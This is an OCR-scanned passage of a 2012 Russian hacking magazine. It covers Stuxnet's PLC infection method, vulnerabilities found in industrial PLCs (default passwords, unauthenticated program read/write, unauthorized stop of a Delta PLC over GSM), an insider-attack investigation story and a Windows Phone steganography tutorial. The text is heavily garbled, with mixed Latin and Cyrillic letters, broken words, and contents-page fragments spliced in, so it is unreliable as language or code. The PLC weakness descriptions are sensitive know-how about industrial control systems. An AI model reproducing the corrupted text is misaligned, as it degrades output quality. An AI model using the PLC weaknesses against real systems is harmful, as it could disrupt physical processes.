нальное содержимое блока. В коде, который внедряется в 0В1 и 0ВЗ5, реализована вся логика работы червя: в основнOм 0на заключается в скрытом управлении частотными преобразователями и, соответственн0, изменении скOрOсти вращения электродвигателей по определенному алгоритму. В то же время благодаря перехвату блока DP_RECV факт вредоносного воздействия на преобразователи скрывается, и ничег0 не подозревающий оператор видит у себя на экране автоматизирOванного рабочего места нормально функционирующий частотный преобразователь и щтатную скорость вращения электрOдвигателя. Как видим, для заражения ПЛК Stuxnet использует обычные приемы, ставшие уже классикой при создании вредоносных программ это и передля обычных компьютеров, хват функций для скрытия результатов своей деятельности [своего рода руткитl, и внедрение вредOнOсного кода в начало блока с последующей дозаписью оригинального содержимого, и передача управления на нег0 после выполнения вредоносных функций (по аналогии с файловыми вирусамиl.
-
,цпilп@
Не так давно группа исследователей из американской компании Digital Bond продемонстрировала всему сообществу специалистов в области автоматизации и информационной безопаснOсти, чт0 вOзмOжнOсти вредоносного воздействия на системы промышленной автоматики не 0граничиваются одним только червем Stuxnet и ПЛК серии Simatic 57-З00. В рамках проекта под названием Basecamp были исследованы шесть ПЛК разных производителей на предмет наличия в них уязвимостей:
. . . . . .
GепегаlЕlесtгiсD20МЕ;
Коуо Diгесt LOGlC H4-ES;
Rockwell Automation Аl|еп-Вrаdlеу Со
пtгоl Log ix;
RockwellAutomationAllen-Bгadley МiсгоLоgiх; Sсhпеidег Еlесtгiс Modicon Quantum; SchweitzeгSEL-2032 {коммуникационный модулЫ.
Наибольшее количество уязвимостей собрал ПЛК Gепеrаl Еlесtгiс D2OME [кстати, самый дорогой в списке), На его счету: неавторизованный дOступ и чтение программы из ПЛК, просмотр прOцессOв в памяти. чтение и запись произвольных участков памяти, доступ к конфиryрационной информации. в том числе к учетным данным, пOзвOляющим получить полный контроль над всей системой. Следующий подопытнвtй ПЛК Коуо Diгесt LOGlC H4-ES имеет схожие с D2OME уязвимости, но выглядит более защищенным и по крайней мере при попытке чтения или записи программы из ПЛКтребует пароль. В веб-сервере, имеющемся на борry этого Плк, есть уязвимость, позволяющая менять lP или e-mail, по которым произвOдится рассылка тревожных сообщений.
-
хдкЕр 12/167/2012
-
|i
респект техничеckoltly руководству коttпании <<Экоtlаlлгрупп) за т0, чт0 0ни сделали вид,6удто не заметили ll0их <tllалостей> с дорогостоящиtч оборудованиеll lЕвгений, с оборудованием-то lлалить 1{0жно,
ОбtiФПЛКподпсрцрt!
Ввrоreпролоrю?
l[-Б-*1l щ
но
|
rЛаВНOе
-
В
r Ищи на диске описание 5tчхпеt от антивирусной компании ESET. Несttотря на
анrлийский
языкt пOдлежит
обязательному прочтению.
xPali{ax
нетанцуй!-Прим. ред.l. Вот так l.tolKHo остановить выполнение програ1,1мы
в Delta
ПЛК Modicon Quапtum от фирмы Sсhпеidег Еlесtгiс (порадовал) исследователей наличием паролей по умолчанию для смены прошивки
и вOзмOжнOстью неавтOризOваннOг0 доступа к пользовательской программе в ПЛ К. Также ве6-сервер этого ПЛК передает всю информацию [в том числе и учетные данные для доступа в системуl в открытом виде, а наличие еще одной уязвимости [в организации FТР-протокола) пOзвOляет все эт0 перехватить. Контроллеры от Rockwell Automation {АllепВrаdlеуl и Sсhwеitzег таят в себе уязвимости, аналогичные уязвимостям в ПЛК Modicon Quапtum. Также стоит отметить, что парни из Digital Bond не ограничились просто поиском уязвимостей: после их исследOвания уязвимости в ПЛК Gепегаl Еlесtгiс D20ME, Коуо Diгесt LOGlC H4-ES, RockwelI Automation Аllеп-Вгаdlеу СопtгоlLоgiх и Sсhпеidег Еlесtгiс Моdiсоп Quantum обрели вполне рабочие эксплойты, кOтOрые уже вошли в состав актуальной версии М etasploit'a. Исследовательский центр Digital Sесuгitу Rеsеагсh Gгоuр в рамках поддержки Basecamp также пOделился результатами своих изысканий на ниве поиска уязвимостей в системах промышленной автоматики. Были исследованы ПЛК Wago серии 750 и Tecomat PLC. В ПЛК от Wago установлены пароли по умолчанию, вOзмOжн0 неавтOризOванное чтение программы и некоторой системной информации
из ПЛК через веб-интерфейс, а также возможна смена парOля через вредOнOсную ссылку. На контроллерах Tecomat PLC установлены
парOли п0 умOлчанию.
@
Твой любимый журнал никак не мог остаться в сторOне в т0 время, кOгда вся прогрессивная
общественность ковыряет ПЛ К. Благодаря попал контроллер Delta
тOму чт0 в мOи руки
DVP-40ES200
DVP-40ES200, у меня появилась возможность внести свOю лепту в дело поиска уязвимостей в системах промышленной автоматики. Итак, чт0 мы имеем. В ПЛК DeIta DVP-40ES200 есть возможность защитить пOл ьзовательскую прOграмму парOлем, но, во-первых, стойкость этого пароля оста вляетжелать лучшего [всего четыре символа), а во-вторых, этот пароль защищает прOграмму тOльк0 0т чтения ее из ПЛК и никак не мешаетсбросить конфигурацию ПЛКдо заводских настроек и залить в нег0 другую прOграм му.
.
.
Возможеннеавторизованныйперевод
кOнтроллера из режима <Работа> в режим
*стопr, при котором выполнение программы
.
и, сOответствен н0, управление исполнительными механизмами 0станавливается. При удаленном досryпе к ПЛК через GSMмодем никакой авторизации не требуется и доступ к ПЛ К возможен с любого номера телефона, главное номер телефона -знать GSМ-модема, подключенного к ПЛК.
В принципе, этого достаточно для совершения мнOжества вредоносных <подвигов>. 0собенно <порадовал> неавторизованный доступ через GSМ-модем.
ЕllаillNпilrЕ Строго говоря, все эти бреши, дыры и уязвимости в ПЛК, о которых мы говорили, до определенного мOмента такOвыми и не являлись, поскольку до них никому не было дела. 0сновной упор при создании АСУ ТП делался на производи-
тельнOсть, экOнOмию средств, на все что угодно, кроме информационной безопасности. И никому в гOлову не могло прийти, что кто-то посторонний захOчет залезть в эти системы и что-нибудь там натворить. Но все течет, все меняется, и теперь пришло время об этом подумать... fE
В PA]IiKAX пРOЕкТА пOд нАзВАНиЕ},l BASEсA].{ р Бьlли исслЕдовАньl
шЕсть плк рАзньlх прOизводитЕлЕЙ нА прЕд},rЕт нАличия в них уязвимостЕЙ
}rALYYARE
Ник [ыминский
(duminsky.nickOgmall.com]
В Детектив для
безопасника
пр0 },lАлвАрь, кOтOрАя cA}lA сOБOи нЕ пOявляЕтся
д0 ситуации, кOгда инсаидерOм мOжет 0казаться людей, один из сисадминов или безопасников кOтOрым в 0рганизации прихOдится дOверять.
-
С нашей точки зрения, положение осложнялось еще и тем, чт0 взять пOдписку или сOставить все такие соглашение было затруднительно
-
В этой статье ты не встретишь никакой технической информации. Ее и так много в нашем журнале. Сегодня мы расскажем о том, как это бывает просто в жизни. На практике, которая, как говорится, очень далека от идеальной теории. лучилась как-т0 у нас весьма неприятная история. Если коротко, то было установлено, что периметр сети пройден и lТ-отделу оставлен (подарочек> на шлюзе. Посредством МlТМ-атаки он скомпрометировал кучу паролей к нашим серверам, на которых переписка, клижила святая святых - делOвая ентская база, проекты в пресейле и в работе. Характер (подарочка> ясно давал понять, что проникновение было сделано не шутки ради, а вполне себе по заказу. Между lТ-отделом и
службой ИБ были более-менее мирные
рабочие взаимоOтношения. Это сильно помогло слишкOм част0 сведения на начальнOм этапе о таких находках остаются внутри lТ-отдела, а админы просто вышибают злоумышленника из сети и не озабочиваются пугями проникновения. !а, все конфигурации всех межсетевых
экранов и lPS и политики антивирусов тщательно анализируются, операционные системы обновляются до последних версий, но частенько усилия оказываются направлены не в ту сторону, Выявить пути проникновения мог бы полноценный пентест, н0 эт0 весьма затратнOе мерOприятие, на которое у вас вряд ли получится выбить деньги с обоснованием <на всякий случайп. В общем, наш отдел ИБ был (поставлен в известность>. История умалчивает о том, что сказали друг другу наши начальнИки, но решение было принято однозначное нужно сообщить рукOводству. Чтобы не подставить какой-то из отделов, на доклад пошли представители обоих подразделений. Реакция руководства на информацию о взломе была вполне ожидаемой и предсказуемой. Началось криком и обещаниями разогнать
0r0
документы проходят через кадры, а четкие формулирOвки, чт0 именн0 нельзя распрOстранять, выдадут все секреты с головой, Пережив это, весьма неприятное, совещание у начальства и 0кOнчательн0 уяснив картину,
всех к известнOи матери, а закOнчилOсь лOгиччто нам, собственно говоря, ным вопросом
-
с этим всем делать.
Перво-наперво решили: информация
о взломе не должна уйти из отделов ИI иИБ, а в идеале даже в отделах знать об этом
должен ограниченный
круг лиц. Информация, имеющая 0тнOшение к инциденту, сOхранялась в криптоконтейнере, ключи раздавались под подпись. На самом деле это чрезвычайно тяжелый этап работы, причем психологически тоже: мнOгие специал исты стремятся пOхвастаться и этс сложными задачами, блеснуть знаниями прекрасно. Но только пока дело не доходит
-
руководител и двух отделов решили сформировать единую (следственную группу>, которая будет осторожно собирать информацию о произошедцем и принимать дальнейшие решения. Не будем забывать, что задача перед нами стояла не просто перекрыть существующий канал rгечки, а понять, как это произошло. Первоначальный план действий был таков: определить, как закладка попала в сеть и куда 0тсылаются скOмпрOметирOванные пароли. И если вторая задача была чисто технической и решалась довольно просто [адрес сервера был жестко прописан в конфиг-файле, видимо, перенастройка при раскрытии не предусматривалась), то определить, как и когда произошел взлом, было уже не так просто. Кроме того, нужно было понять, насколько опасен этот взлом. К счастью, в нашем случае компрометироэто было довольно просто вание атрибутов доступа к серверам вряд ли
-
является чьей-то невинной шалостью. Поняв, насколько ситуация опасна, можно предпринимать дальнейшие шаги, все так же стараясь держать дело в тайне, ,Щаже если целью взлома и не было причинить вред компании, распространение сведений о нем может нанести урон само по себе. Клиенты начинают относиться с опаской, заказчики и исполнители обдумывать все по десять раз. Все это непрямые убытки компании, которых надо избежать всеми способами. Кроме того, если до возможного инсайдера дойдут слухи о ведущемся расследOвании, т0 0н, скOрее всег0, пOстарается отвести подозрения от себя и/или подставить других коллег, Также, если злоумышленник заподозрит, что нам известно о его действиях, он может попробовать замести следы или же просто распространить информацию о происшествии в наиболее выгодном для себя [и невыгод-
-
ном для нас) свете.
хдкЕ?
12/167/2012
.Щетектив для безопасника
Итак, на следующий день после обнаружения взлOма мы имели следующее:
].
2. 3. 4. 5.
Анализсервера информации овремени взлома не дал. 0бъем полученной злоумышленником информации неизвестен. L{ели злоумышленника неизвестны. Анализуправляющего сервера ничег0 не дал. Установленное злоумышленником П0
-
-
не 0тл ичается слOжнOстью.
что из этого можно извлечь? Почти ничего. Тем не менее удалось сделать кое-какие выводы, собрав воедино следующие факты: 1. Совершенный не вчера взлом наши ИТ-
2.
з
с п
ециал исты
п
ромор гал и.
В конфигурацию периметрового оборудования были внесены незначительные изменения, кOтOрые позволили трафику отзакладки
спокойно достигать адресата. Стоиттакже 0тметить, чт0 все сOединения инициировались изнrгри, командный сервер -сам внугрь не сryчался и передавал команды (если передавал] только по запросу. Злоумышленники, скорее всего, точно знали распOложение цели внутри организации, а направление атаки гOворит о том, что им, вероятнее всего, было необходимо предоставить досryп к конфиденциальной информации кOму-т0 внrгри периметра, причем замаски рOвав эт0 под атаку снаружи.
Выводы были таковы: анализ конфигурационных файлов периметрового оборудования и времени их изменений дал примерный промежуток времени, когда была установлена закладка, а значит, и был организован взлом. Конфигурация периметрового оборудования меняется не так част0, и все изменения конфигураций всегда логируются, а резервные копии нескOльких вариантов конфигурации в обязательнOм пOрядке сOхраняются на независимом хранилище с указанием того, когда данный файл конфигурации был создан и чем отличается 0т предыдущего. В свое время наш ИТ-отдел 0тчаянн0 сOпротивлялся такоЙ мере, но сегодня именно эта бюрократия и принесла свои плоды. К сожалению, не все изменения конфигурации были сохранены, как предписывалось, когда наши безопасники устроили опрос админов пOд видOм анализа выполнения требований кOрпOративных пOлитик, люди признавались в тOм, чт0 изменяли настройки по требованиям начальникOв 0тделOв, да и просто для себя, чтобы им было удобнее. Получить эти признания нам помог начальник ИТ-отдела. Oн был в курсе тOг0, зачем мы на самом деле произвOдим эту прOверку, и мог надавить на своих
-
-
-
пOдчиненных.
Зачем нужен был цирк с конспирацией? Это самое интересное. ,Щело в том, что, исходя из характера атаки, мы тOлько сильнее и сильнее убеждались: в Ит-отделе сидит нелояльный сOтрудник, который и помог злоумышленнику прOвернуть такую операцию. Более того то, что командный сервер никогда не инициировал
хлкЕр 12l1b7/2012
сOединения, служил0 дOказательством, что инсайдер не просто помог злоумышленнику, а сам
произвел атаку изнутри. Именно это и заставило нас поиграть в КГБ [по выражению одного из админов). Почему мы подумали на админов, а не на кOгO-т0 из других сотрудников? Не то чтобы у нас абсолютно доверяли всем, кроме
ИТ-специалистов. П росто обстоятел ьства гOвOрили 0 тOм, чт0 взлOм производил человек, с одной стороны, хорошо осведомленный об организации ИТ-инфраструктуры, а с другой не очень хорошо знающий, какая инфор-
-
мация наиболее важна для компании. Если бы ктO-т0 из инженерOв или менеджеров рещил слить информацию налево им бы не составил0 труда прOст0 скачать актуальные данные
-
текущим проектам. Более того, никто из них не знал, как проходит трафик до серверной группы, чтобы узнать это, им потребовалось бы приложить определенные усилия, и это, скорее всего, попало бы в поле зрения ИТ-отдела. Админ же, наоборот, прекрасно знал о том, что и как работает в нашей сети, но поиск актуальной информации занял бы у него определенное время. Так что все следы вели в ИТ-отдел. по
-
Таким образом, за несколько дней после обнаружения взлома мы собрали всю информацию, какую мOгли, не привлекая внимания злоумышленника. flальнейшие действия было необходимо согласовывать с руководством,
пOскOльку решать, чт0 делать дальше просто прOвести внугренний аудит и прибить закладку, привлекать к работе специалистов из сторонних организаций или вообще обращаться в органы, были руководители компании.
-должны
Скажу сразу, что вариант обратиться к специалистам был отметен с ходу {с кучей нелицеприятных выражений в адрес обоих отделов). Когда была прикинута стоимость работ, то нам припOмнили сразу все и - предыдущие работы, и внедрение политик безопасности, от которых все 0тделы первOе время выли волком, и последующие закупки <на безопасность>, 0щущение 0т разгOвOра 0сталOсь весьма неприятное, хотя я лично там и не был. Но содержание его наши начальники д0 нас дOвели, что называется, (п0 гOрячим следам>, так что комментарии излишни. Какое-то время мы думали, стоит ли обратиться во внутренние органы, Как мы все прекрасн0 пOнимали с нашей lТ- учетом специфики, мы могли просто не замечать того, чт0 прOисхOдит п0 другую сторону экрана. Но заставить себя выйти из привычной схемы мышления в стрессовой ситуации, полумертвыми от усталости и с убитой последними событиями мотивацией оказалось невозможно. По крайней мере, у нас это не получилось, Но вариант официального обращения в органы был отброшен. Мы не хотели рисковать тем, что работа компании будет парализована во время расследования, А поскольку, по нашим представлениям, в числе пOдOзреваемЫх мOг оказаться кто угодн0, т0 таскания на дOпросы могли значительно снизить лOяльнOсть сотрудников, тем более сотрудников ИБ и ИI, которые были первымиподOзреваемыми. А наша лояльность и так была на урOвне плинтуса сказывались и усталость, и нервнOе напряжение, и висевшее в воздухе нед0 вер
и
е.
Иными словами, мы оказались
в ryпике, Всю информацию о взломе, какую могли, мы собрали. возможно, профессионалы собрали бы больше,
но на профессионалов денег у нас не было. Обращаться в органы не было никакого резона это только осложнило бы положение. Атмосфера царила пOдавленная, и ни о какой активной деятельнOсти никто и не думал. Честно говоря, у многих
-
i,lALWARE прOснулись весьма упаднические настрOения: после такого косяка можно было ожидать вполне серьезных репрессий со стороны руководства и не прOст0 выгOвOрOв, к кOтOрым все привыкли. ,Щошло до того, что сотрудники начали обновлять
-
резюме, хOтя нацим специалистам увOльнение в таких условиях не обещало ничего хорошего. А потом случилось то, что у японцев назы-
вается (саториr. Если мы не можем обратиться в0 внутренние 0рганы напрямую, т0 кт0 мешает нам вспомнить старых знакомых? Была у нас в компании служба физической охрана. И охранникабезопасности, попросту ми нашими командовал бывший оперуполномоченный МВ,Щ. Который со своей оперской смекалкой давно заметил: что-то у нас происходит. И завел разговор с начальником отдела ИБ... Бывший опер задал нам тот вопрос, который мы должны были задать себе сразу, как только узнали о взломе. А именно: что могли злоумышленники искать на наших серверах? И кому это могло быть выгодно? Но мы настолько уперлись в вопрос *KaK?u, что совсем забыли о главном <зачем?>. Мы определяли важность вопросе той или иной информации, которая вращается у нас в компании, мы разрабатывали политики разграничения доступа, но, когда нас выбило из привычного ритма, мы сразу забыли все то, чему нас учили на курсах и семинарах, и стали отвечать на простые, но абсолютно не имеющие значения технические вOпрOсы. надо было А ответы были совсем близко понять, что искал злоумышленник. Сделать это оказалось просто у нас был доступ ко всем сведениям о том, над чем сейчас работает компания. А промотивированные начальники 0тделOв рассказывали, чт0 дают эти прOекты и какая ожидается от них выгода. Уже <выстрелившие) вряд ли прOекты мы пOчти не рассматривали
-
-
-
-
конкурентам интересно знать, как мы работаем, гораздо важнее для них было бы получить информацию о том, как мы планируем играть на предстоящих конкурсах и тендерах. Бизнес в России строится преимущественно на том, что компании делят сферы влияния, а то, что
тендерная и кOнкурсная дOкументация пишется пOд испOлнителя, тOже ни для кOг0 не секрет. Конкуренты, ведущие агрессивную политику и влезающие на уже пOделенную территOрию, были известны, также, благодаря личным знакомствам руководителей, мы знали, какими примерно ресурсами и кто располагает, Так что вычислить предполагаемого заказчика было прост0. Посмотреть, не очень трудно. ,Щальше кто из сейл-менеджеров и инженеров отвечает вся информация за самые крупные проекты,
-
доступна начальникам отделов. Социальные сети это все-таки кладезь информации. Люди даже не стесняются указывать, чт0 дружат, а т0 и сOстOят в рOдстве с сOтрудниками кOмпании-
-
кOнкурента. Итак, у нас появился главный подозреваемый, а остальное было делом техники, Сейлы
вообще народ говорливый и умеют входить в доверие. Подружился наш продаван и с одним из админов. Узнали мы это весьма простым сп0собом: посмотрели записи видеокамер в курилке, с кем подозреваемый сейл чаще всего ходит курить. Естественно, тех, с кем ему по работе курить положено, мы не рассматривали. А вот это уже интересно. Сейлы обычно с ададмин минами не дружат. Корпоративной электронной почте эти ребята совершенно обоснованно не доверяли, да и личной, видимо, не очень. Как выяснилось позже, сработало еще и то, что админ уже был одной ногой на другой в другой компании, из другой сферы, работе с которой мы никак не пересекались. При таком
-
-
удачнOм раскладе админ не 0тказался 0т предлOжения сейла. Предложение было подкреплено определенной суммой денег. 0т админа даже
-
не требовалось делать ничего серьезного необходимый софт ему передали, видимо, разработку заказывали на черном рынке или
прост0 у какого-то не особо принципиального фрилансера. Как я уже говорил, ничего экстраOрдинарнOг0 малварь не умела, так чт0 вряд ли за нее были отданы большие деньги. Всю эту информацию нам выдал сам админ. Как говорится, на голубом глазу. Хорошо, что юридической подготовки у него не было никакой и удалось ег0 припугнуть: на самом деле предъявить ему в суде было нечего режим коммерческой тайны в компании введен не был и никаких фактов,
-
даже прOст0 пOдтверждающих
лечку, на руках
у нас не было. 0т кого исхOдила инициатива
-
от
(нашего>
сейла или от его родственника, мы выяснить не смогли. На самом деле даже и не пытались. Потому что не успели. Видимо, какая-то информация о наших действиях все-таки просочилась наружу, И сейл вдруг от нас уволилвыдумал срочную ся. Как мы потом узнали причину, которую руководство сочло весомой, так что уволился он без отработок. В принципе, мы ничег0, крOме увOльнения, сделать с ним все все наши доказательства равно бы не смогли были собраны с большим наплевательством на юридические нормы и правила сбора доказательств, и в суде им бы грош была цена. Но его увсльнение позволило нам добиться мы пOняли, куда кOнкретн0 метили главнOг0 кOнкуренты, и проект остался у нас. И мы смогли разобраться, как случилось заражение: новость о бегстве сейла сильно помогла расколоть админа он понял, что остался тл один и всех собак повесят на него. Не скажу, что руководство было пOд кOнец кOмпанию трясл0 нами дOвOльн0, от наших действий, так что работать было трудно всем. Хорошо, что это продолжалось недолго. Вот так закончилась история со взломом. если ,Щовольно поучительно, как мне кажется, бы мы не уперлись в ретроспективный анализ, а сразу поняли сугь проблемы, то закончилось бы все быстрее и не так болезненно. На самом деле, как именн0 прOизOшел взлOм, не так уж важно. По сути, это просто свершившийся факт. Проблема была в том, что мы не знали, что у нас а именrгекло и кому это может быть выгодно но это и важно для бизнеса. Так что, коллеги, не повторяйте наших ошибок и помните мы работаем ради бизнеса. А не наоборот.
-
-
-
-
-
...случилOсь т0, чт0 японцьl нАзьlвАют ((сАТоРи}}. Plbl НЕ рl0ЖЕ}l 0БРАтитЬся в0 внутрЕнниЕ 0ргАньl, но кт0 рlЕшАЕт HApl всп0!l н ить cTAPblx знАк0},|ьlх?
-
хлкЕр
-Е
12/1ь7/2012
Ргеviеw АкАдЕ1,1ия
110
lцкOлА HlGHLOAD
-
зАключитЕльныйурок Как это ни печальн0, но все когданибудь заканчивается вот и мы заканчиваем наш цикл урOкOв п0 прOектирOванию вь]сOкOнагруженных систем и надеемся, что тебе было так же интересно, как и нам. Но напоследок подытожим изученнь й материал и добавим последнюю пOрцию пOлезных сOветOв и теории. На этот раз речь пойдет о различных аспектах обслуживания работы проектов с высокой нагрузкой. Кроме того, в шестой урок вошло еще больше реальных примерOв 0т специалистов, работающих над крупнейшими интернет-ресурсами Рунета,
-
кOдинг
UNlxolD
+75з4529L452з189
5з4
19 з 18
58
з41 9519з528416948 94
стЕгАнOгрАФ. зАвЕрlлЕниЕ Заключительная частьэпопеи
о
раз-
работке крутейшего WР7-приложения для скрытогохранения информации в изображениях. Начало смотри
в
ноябрьском
102
и 1,1 прилOжЕн и Е для АN D ROl Шес,ьрецептов,описа-рь,хвэ-ой
гOтOв
D
Представляем сравнительный тест произвOдительнOсти
от<корпорациидобраu,
кому-нибудь оставить позади GCC?
нOмере или надиске,
UNIxOlD
БOльlлиЕ гOнки
статье, пригодятся любому разработчику, пишущему приложения для мобильной 0С
ко м
п
для всех пOпулярных стся л и на этот ра з
ил ято ро в. Уда
sYN/AcK эесцLl?,
Цп;|rjпФ'
,ffi !;ф" искусств0 сOпряжЕния Сетевая природа UNlX позволяетделать мнOжеств0 интересных вещей вдомашней сети, Какты сможешьубедиться сам,
расшарить удается любое устройство.
хлкЕр
12/1b7l 2012
стOрOжЕвOЙ 7-гоуровня В этой статье мы рассмотрим сразу нескOл ьк0
п о
пуля рн ых реш ен
и й
трации трафикадинамических
для фил ь-
ве6приложений на прикладном уровне,
ХИТРOСПЛЕТЕНИЕ
Нововведения
СВЯЗЕЙ
Windows Sегчеr2012 кOснулись святая святых кOрпOративной сети -службы доменов Active Diгесtогу. Естьли тут какой-то профит? в
й
з259 5143526452841,25 1 8153 816789з782з41,25 1 2947 534529].4523 18957 1915б о1 5з4 з45 1 8358 1851,2 52з4L 9359519352841 6948259 РАЗРАБАТЬl ВАЕМ СРЕДСТВА ДЛЯ СOХРАН ЕН ИЯ и извл Еч Ен ия сп рятАн н blx дАн н blx
i.7 1 5 3 б I43 1 2з 452з2з25 1 ': о45 з 57 47 89 6 7 97 66 8 9 5 3
6959 'ъL55 о458
-
Продолжаем и завершаем разработку крутой J[-тулзы стеганографа для wp, которую мы начали в прошлом номере. Нам осталось прикрутить к нашей софтине еще несколько фич: сохранение модифицированного изображения и извлечение из него спрятанного сообщения. После этого мы наконец сможем в полной мере использовать стеганографию в своих целях!
126L 6252
17 59 9595I7352з992з42з5 1
l[-проект: стеганограф. Завершение
I
сOхрАнЕниЕ ФOтOгрАФии
В прошлой статье мы скрыли в фотографии текстовое сообщение и 0станOвились перед задачей, как ее сохранить. На первый взгляд это и не задача совсем] На ум сразу же приходит
стандартными средствами оперешение: рационной системы windows Рhопе, то есть в момент получения потока данных фотографии выз8ать метод SavePictuгe [или sачерiсtuгетосаmеrаRоll для сохранения фото в галерею камеры) объекта класса МеdiаLiьгагу. Этому методу передаются два параметра: имя файла для сохранения и собственно поток изображения, В результате в альбом сохраненных фотографий и/или в галерею камеры будет помещена итоговая фотография... Правда, сохранена она будет в формате JPG. А из этого следует, что все скрыть]е нами текстовые данные будут утеряны из-за компрессии| Пиксели изменены -данные утеряны. В этом случае не спасет даже выставленнOе качество сохраняемого изображения в 100%, 0птимальный формат для сохранения изображения с модиэто старый добрый ВМР. Чтобы фицированными пикселями сохранить сырой поток данных в этом формате, достаточно прикрутить к пOтOку загOлOвOк, после чего Nlожно просто напрямую сбросить получившийся (самородок, в флеш-память. Заманчиво, кажется прOст0, н0 все равно не вариант- ВМР не поддерживается стандартными средствами системы Wfl а итоговый файл имеет чудOвищные размеры из-за отсутствия сжатия. На помощь приходит формат PNG. Сохраненные в нем изображения имеют существенно меньший размер, чем в Вмр, но все же терпимо больше, чем в JPG, Это происходит потому, что PNG испOльзует алгоритм сжатия без потерь Deflate. Плюс к этому PNG пOддерживает канал прозрачности. К сожалению, формат PNG тOже не пOддерживается стандартными средствами winphone. чтобы решить сложившуюся проблему, я сначала попытался вOспOльзOваться расхваленной на codeplex библиотекой lma9eTools, По описанию, она включает впечатляющий набор кодеров/декодеров для сохранения/загрузки файлов в различные графические форматы. Как и wгiteableBitmapEx, рассматриваемая либа предназначена в первую очередь для Siiveгlight и уже во вторую winphone. Но если первая либа достаточно хорошо -для подогнана для WP, то о второй этого сказать нельзя. Перед тем как сOхранить с пOмощью кодеров изображение, его надо с0хранить в расширенный контейнер для картинок объект класса Extendedlmage, который содержится в lmageTools. И вот тут нас поджидает трабла. После загрузки изображения в этот объект 0н все равн0 0стается неинициализированным. Написав об этом разработчику, ничего интересного в ответ я не получил. Пришлось прOдOлжиIь исследования. Найдя несколько решений, наиболее подходящим я счел ToolStack С# PNG Wгitег LiЬгагу, расположенный по адресу ,Щанное решение состоит из трех файлов: ToolStackCRCLib.cs, ToolStackPNGWгiteгLib.cs и ТооlStасkРNGWгjtегWВехt.сs. Их можно взять из демOнстрациOннOго приложения, скачанного с сайта. Первый по списку файл содержит класс СRСЗ2, который предоставляет N4етOды для вычисления контрольной суммы на основе результирующего РNG-файла. Второй содержащийся в этом файле класс
-
-
р li.
:]
a
пиксЕлямИ эт0 BJI{P. УВы, WPz Ег0 нЕ поддЕрживАЕт Аd]егЗ2 включает методы для вычисления контрольной суммы запакованного компрессором zliь-архива. Тем не менее в текущей версии либы компрессия не поддерживается, результирующее изображение не получится запаковать, но нам в разрабатываемоц прOекте эт0 все равн0 не нужно, поскольку мы не хотим повредить СКРЫТЫе
flЭННоlO.
.ý
ё
'
l
ВтороЙ по списку файл ТооlStасkРNGWгitегLiЬ.сs содержит ;... классы для создания РNG-файла. Статичный класс PngChunkTypes' 0писывает предOпределенные заголовки для частей данных. запечатанный класс Рпgнеаdег содержит переменные, из которых формируется информация для заголовка файла: ширина, высота изображения, цветовая глубина пикселя и так далее. 0снова либы открытый класс РNGWгitег предоставляет методы для формирования и записи заголовка и изображения. третий файл списка содержит небольшое расширение для клас-. са WгitеаЬlеВitmар, которое состоит из двух методов, позволяющих применить метOды рассмотренного ранее класса РNGwгitег для сохранения изображения в файловый поток в PNG. НеоспоримOе преимуществ0 рассматриваемого решения - это возможнOсть использовать его как с экземпляром стандартного класса wгitеаьlевitmар, так И с расширенным wгitеаьlевitmарЕх [что мы уже и запланировали). чтобы прибегнуть к перечисленным классам, достаточно скопировать эти три файла в каталог нашего решения и добавить их в проект. Теперь можно свободно пользоваться дополнительным функционалом. Перейди на следующую строчку после вызова функции HideTextlnlmage обработчика события myCam_CaptuгelmageAvailable и добавь следующий код:
-
-
-
.
чаг isoStoгe = Iso}atedStoгageFile.e
GеtUsегStогеFогАррliсаtiоп ( ) ; Stгiпg fileName = "photo " + GetRealTime() +'',рпg''; Vаг pngDest = System.I0.ISolatedStoгage.э IsolatedStonageFileStneam(fileName, н FileМode. Спеаtе, isоStоге) ;
wЬ. l^JгitеРNG
(
pngDest );
pngDest.Flush(); pngDest. Close( );
wЬ = nuI]-;
mеsstгеаm = nu11; keystгeam = nuI1;
здесь используется самописная функция GetRealTime, которая
flаже если тебя не интересует тема стеганографии и ты с подозрением относишься к windows phone, я бы посоветовал все равно прочесть эту статью. Лично я не собирался кодить для wp, но из этой пары статей я узнал столько нового об этой системе и ее подводных камнях. что вре-
хАкЕр
i, '}
.J
в этом коде сначала получаем ссылку на объект хранилища данногО приложения. Следующей строчкой кода форrиируем уникальное имя для файла, в котором сохраним изображение.
0т рЕдАкции
мя на ее прочтение и редактирOвание я точно не считаю потерянным
пти },lАл ьн bl Й оо p},lAT ДЛЯ ИЗOБРАЖЕНИЯ с i,r 0дпФпци ро вАн н bl },l и 0
воспOльзOваться
:}.
берет текущие дату И время, преобразует их в строку' заменяет в этой строке все символы (:) на символ (.> И возВращает итоговую строчку. К началу этой строчки приставляется строка photo, а в кOнце расширение рпg. Затем на основе объекта хранилища и пOлученнOг0 имени создается файловый поток для создания
-
файла, После этогО файл записыВается С помощью функциЙ добавленного расширения.,щальше поток сбрасывается, закрывается, а используемые объекты обнуляются.
€l
r{rЕцж.щJт!тrтlrrrаПl' Вd*rд+l Ь. *4,*,Pd.,,"n_*, ",
ё}-
;lF":П:ffi;:
*q.
*лф
Ж
*''*f,П
кOдинг Билд готов для теста. Теперь после создания фото и скрытия текстового сообщения оно сохраняется в изолированное хранилиВизуально ничего не изменилось, однако промежуток времени _ ще. между нажатием на аппаратную кнопку фотозахвата и появлением отладочной надписи <Фото готово> заметно возрос. И это правиль'l600 на 1200 [установлено но, товарищи, фото с разрешением по умолчанию} имеет размер приблизительно 7 метров, и времени с учетом того для его обработки и сохранения требуется больше что раньше сохранения не было вообще. К слову, опытным путем было установлено, что в данном случае в PNG можно сохранить изображение с разрешением максимум 2048 х 15Зб пикселей.
-
-
выБOр ФАЙлА
К сожалению, у нас нет готового механизма для выбора файла
-
проектировщиками из изолированного хранилища смартфона системы не было предусмотрено что-то наподобие проводника ' нjстольной Windows [а почему, почему это не было предусмотрено? Майкрософт, что ты сделал с прекрасной, самой совершенной, $ýей любимой Windows Mobile 6.х? - Прим. ред.). ];: из приложения можно, воспользовавшись "выбирателем) объектом класса PhotoChooseгTask, выбрать изобраtСhооsегl жение, н0 тOльк0 из стандартных, предназначенных для хранения фотографий папок: <Сохраненные изображенияr, *Галерея камеры". 0т этого нам, как говорится, ни холодно ни жарк0 - сOдержи-мое хранилища по-прежнему невидимо. Выявим его самостоятель. но. В файл MainPage.xaml.cs добавь следующую функцию:
-
GetFiles( ) { . 1 1istBox1.Items.CIeaг();
чаr stогеFilе = IsolatedStoгageFile.e
